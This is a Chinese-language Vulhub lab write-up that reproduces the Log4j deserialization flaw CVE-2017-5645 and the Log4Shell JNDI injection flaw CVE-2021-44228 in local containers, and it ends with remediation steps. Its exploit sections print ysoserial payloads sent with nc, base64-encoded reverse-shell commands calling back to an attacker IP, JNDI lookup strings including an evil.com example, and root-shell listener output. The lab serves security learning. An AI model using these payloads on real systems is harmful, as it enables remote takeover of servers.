Vulhub 漏洞学习之:Log4j
Vulhub 漏洞学习之:Log4j
1 Apache Log4j Server 反序列化命令执行漏洞(CVE-2017-5645)
Apache Log4j是一个用于Java的日志记录库,其支持启动远程日志服务器。Apache Log4j 2.8.2之前的2.x版本中存在安全漏洞。攻击者可利用该漏洞执行任意代码。
1.1 环境安装
docker-compose up -d
- 环境启动后,将在4712端口开启一个TCPServer。
- 或下载了log4j的jar文件后,可以直接在命令行启动这个TCPServer:
java -cp "log4j-api-2.8.1.jar:log4j-core-2.8.1.jar:jcommander-1.72.jar" org.apache.logging.log4j.core.net.server.TcpSocketServer
,无需使用vulhub和编写代码。
1.2 漏洞利用过程
-
我们使用ysoserial生成payload,然后直接发送给
Traget-ip:4712
端口即可。java -jar ysoserial-all.jar CommonsCollections5 "base64_encode_cmd" | nc 192.168.50.4 4712
1.3 GetShell
-
kali发送Payload至目标靶机
java -jar ysoserial-all.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjUwLjIvMjMzMyAwPiYx}|{base64,-d}|{bash,-i}" | nc 192.168.50.4 4712
-
kali监听反弹shell:
┌──(root㉿kali)-[~/Desktop] └─# nc -nvlp 2333 listening on [any] 2333 ... connect to [192.168.50.2] from (UNKNOWN) [192.168.50.4] 48142 bash: cannot set terminal process group (1): Inappropriate ioctl for device bash: no job control in this shell root@7e2d33e5cd8f:/# id id uid=0(root) gid=0(root) groups=0(root) root@7e2d33e5cd8f:/#
2 Apache Log4j2 lookup JNDI 注入漏洞(CVE-2021-44228)
Apache Log4j 2 是Java语言的日志处理套件,使用极为广泛。在其2.0到2.14.1版本中存在一处JNDI注入漏洞,攻击者在可以控制日志内容的情况下,通过传入类似于${jndi:ldap://evil.com/example}
的lookup用于进行JNDI注入,执行任意代码。
参考链接:
- https://logging.apache.org/log4j/2.x/security.html
- https://www.lunasec.io/docs/blog/log4j-zero-day/
- https://xz.aliyun.com/t/10649
2.1 环境安装
Apache Log4j2 不是一个特定的Web服务,而仅仅是一个第三方库,我们可以通过找到一些使用了这个库的应用来复现这个漏洞,比如Apache Solr。执行如下命令启动一个Apache Solr 8.11.0,其依赖了Log4j 2.14.1:
docker-compose up -d
- 服务启动后,访问
http://your-ip:8983
即可查看到Apache Solr的后台页面。
2.2 漏洞利用过程
2.2.1 工具准备
- 工具需要jdk1.8版本
- GitHub - welk1n/JNDI-Injection-Exploit: JNDI注入测试工具(A tool which generates JNDI links can start several servers to exploit JNDI Injection vulnerability,like Jackson,Fastjson,etc)
- GitHub - threedr3am/marshalsec
2.2.2 JNDI
jndi的全称为Java Naming and Directory Interface(java命名和目录接口)SUN公司提供的一种标准的Java命名系统接口,JNDI提供统一的客户端API,通过不同的服务供应接口(SPI)的实现,由管理者将JNDI API映射为特定的命名服务和目录系统,使得Java应用程序可以和这些命名服务和目录服务之间进行交互
- JNDI注入原理:是将恶意的Reference类绑定在RMI注册表中,其中恶意引用指向远程恶意的class文件,当用户在JNDI客户端的lookup()函数参数外部可控或Reference类构造方法的classFactoryLocation参数外部可控时,会使用户的JNDI客户端访问RMI注册表中绑定的恶意Reference类,从而加载远程服务器上的恶意class文件在客户端本地执行,最终实现JNDI注入攻击导致远程代码执行。
- jndi注入的利用条件:
- 客户端的lookup()方法的参数可控
- 服务端在使用Reference时,classFactoryLocation参数可控
2.2.3 漏洞验证
- 在注入点中验证:
http://192.168.50.4:8983/solr/admin/cores?action=${jndi:ldap://xxx.dnslog.cn/Exploit}
- 若成功则会回显
2.3 GetShell
-
使用NDI-Injection-Exploit-1.0-SNAPSHOT-all工具开启ldap和rmi监听服务
$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address] eg: java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjUwLjIvMjMzMyAwPiYx}|{base64,-d}|{bash,-i}" -A 192.168.50.218 [ADDRESS] >> 192.168.50.218 [COMMAND] >> bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjUwLjIvMjMzMyAwPiYx}|{base64,-d}|{bash,-i} ----------------------------JNDI Links---------------------------- Target environment(Build in JDK 1.8 whose trustURLCodebase is true): rmi://192.168.50.218:1099/hsectu ldap://192.168.50.218:1389/hsectu Target environment(Build in JDK 1.7 whose trustURLCodebase is true): rmi://192.168.50.218:1099/enyw6k ldap://192.168.50.218:1389/enyw6k Target environment(Build in JDK whose trustURLCodebase is false and have Tomcat 8+ or SpringBoot 1.2.x+ in classpath): rmi://192.168.50.218:1099/wfhfs8
-
使用上面的url为payload对靶机进行注入:
http://192.168.50.4:8983/solr/admin/cores?action=${jndi:rmi://192.168.50.218:1099/hsectu}
-
kali监听反弹shell:
┌──(root㉿kali)-[~/Desktop] └─# nc -nvlp 2333 listening on [any] 2333 ... connect to [192.168.50.2] from (UNKNOWN) [192.168.50.4] 34236 bash: cannot set terminal process group (1): Inappropriate ioctl for device bash: no job control in this shell root@a4545a4231e4:/opt/solr/server# id id uid=0(root) gid=0(root) groups=0(root) root@a4545a4231e4:/opt/solr/server#
3 漏洞修复
-
排查应用是否引入了Apache Log4j2 Jar包,若存在依赖引入,则可能存在漏洞影响。请尽快升级Apache
Log4j2所有相关应用到最新的log4j2版本。 -
升级已知受影响的应用及组件,如
spring-boot-starter-log4j2/Apache Struts2/Apache Solr/Apache Druid/Apache Flink
-
可升级jdk版本至
6u211 / 7u201 / 8u191 / 11.0.1
以上,可以在一定程度上限制JNDI等漏洞利用方式。 -
官方补丁:升级Apache Log4j所有相关应用到最新的 Log4j-2.15.0官方稳定版本。